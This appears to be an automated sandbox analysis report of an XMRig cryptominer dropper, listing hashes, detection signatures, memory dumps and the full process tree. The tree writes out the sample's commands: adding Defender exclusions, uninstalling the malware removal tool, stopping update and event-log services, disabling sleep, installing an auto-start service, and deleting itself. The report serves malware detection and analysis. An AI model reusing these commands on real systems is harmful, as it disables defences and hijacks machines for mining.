Analysis

  • max time kernel
    90s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    18-12-2024 09:29

General

  • Target

    a58afe4b9d76c4bc307b793c5c4cda8d2f52da5e2eae0393df2e97f631fb40d9N.exe

  • Size

    5.6MB

  • MD5

    cf7f6c3c7697b01ecbd9c092736abbf0

  • SHA1

    1fbdc317d919b2d277b163b64dcb9558178af7ce

  • SHA256

    a58afe4b9d76c4bc307b793c5c4cda8d2f52da5e2eae0393df2e97f631fb40d9

  • SHA512

    a4c834b05093f9e9230e6c405b14e71024864d3e1bf91433db4e00a180a900b65283d6cc1b14b2f6b08506f6762caaa01cd8ae14a7a3ba99c3742b4ede5bfae5

  • SSDEEP

    98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hn:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgj

Malware Config

Signatures

  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 13 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a58afe4b9d76c4bc307b793c5c4cda8d2f52da5e2eae0393df2e97f631fb40d9N.exe
    "C:\Users\Admin\AppData\Local\Temp\a58afe4b9d76c4bc307b793c5c4cda8d2f52da5e2eae0393df2e97f631fb40d9N.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:2960
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2564
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2712
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
        • Drops file in Windows directory
        PID:2848
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      2⤵
      • Launches sc.exe
      PID:2740
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      2⤵
      • Launches sc.exe
      PID:2720
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      2⤵
      • Launches sc.exe
      PID:2532
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      2⤵
      • Launches sc.exe
      PID:2448
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      2⤵
      • Launches sc.exe
      PID:2588
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:1376
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:1012
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:2996
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:2044
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "JVNIRHNX"
      2⤵
      • Launches sc.exe
      PID:1664
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"
      2⤵
      • Launches sc.exe
      PID:1416
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      2⤵
      • Launches sc.exe
      PID:2684
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "JVNIRHNX"
      2⤵
      • Launches sc.exe
      PID:556
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\a58afe4b9d76c4bc307b793c5c4cda8d2f52da5e2eae0393df2e97f631fb40d9N.exe"
      2⤵
      • Deletes itself
      • Suspicious use of WriteProcessMemory
      PID:1668
      • C:\Windows\system32\choice.exe
        choice /C Y /N /D Y /T 3
        3⤵
          PID:2816
    • C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe
      C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2772
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2804
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1592
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
          • Drops file in Windows directory
          PID:1916
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:1440
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:2476
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:800
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:2676
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:2652
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:1624
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:1072
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:1884
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2956
      • C:\Windows\system32\conhost.exe
        C:\Windows\system32\conhost.exe
        2⤵
          PID:1860
        • C:\Windows\system32\nslookup.exe
          nslookup.exe
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2096

      Network

      MITRE ATT&CK Enterprise v15

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      Downloads

      • \ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe

        Filesize

        5.6MB

        MD5

        cf7f6c3c7697b01ecbd9c092736abbf0

        SHA1

        1fbdc317d919b2d277b163b64dcb9558178af7ce

        SHA256

        a58afe4b9d76c4bc307b793c5c4cda8d2f52da5e2eae0393df2e97f631fb40d9

        SHA512

        a4c834b05093f9e9230e6c405b14e71024864d3e1bf91433db4e00a180a900b65283d6cc1b14b2f6b08506f6762caaa01cd8ae14a7a3ba99c3742b4ede5bfae5

      • memory/1860-19-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/1860-17-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/1860-24-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/1860-20-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/1860-21-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/1860-18-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/2096-39-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2096-27-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2096-31-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2096-35-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2096-26-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2096-28-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2096-38-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2096-37-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2096-29-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2096-32-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2096-36-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2096-30-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2096-33-0x00000000001B0000-0x00000000001D0000-memory.dmp

        Filesize

        128KB

      • memory/2096-34-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2564-9-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

        Filesize

        9.6MB

      • memory/2564-6-0x0000000001E30000-0x0000000001E38000-memory.dmp

        Filesize

        32KB

      • memory/2564-7-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

        Filesize

        9.6MB

      • memory/2564-4-0x000007FEF599E000-0x000007FEF599F000-memory.dmp

        Filesize

        4KB

      • memory/2564-5-0x000000001B4B0000-0x000000001B792000-memory.dmp

        Filesize

        2.9MB

      • memory/2564-10-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

        Filesize

        9.6MB

      • memory/2564-8-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

        Filesize

        9.6MB

      • memory/2804-16-0x00000000008A0000-0x00000000008A8000-memory.dmp

        Filesize

        32KB

      • memory/2804-15-0x0000000019E20000-0x000000001A102000-memory.dmp

        Filesize

        2.9MB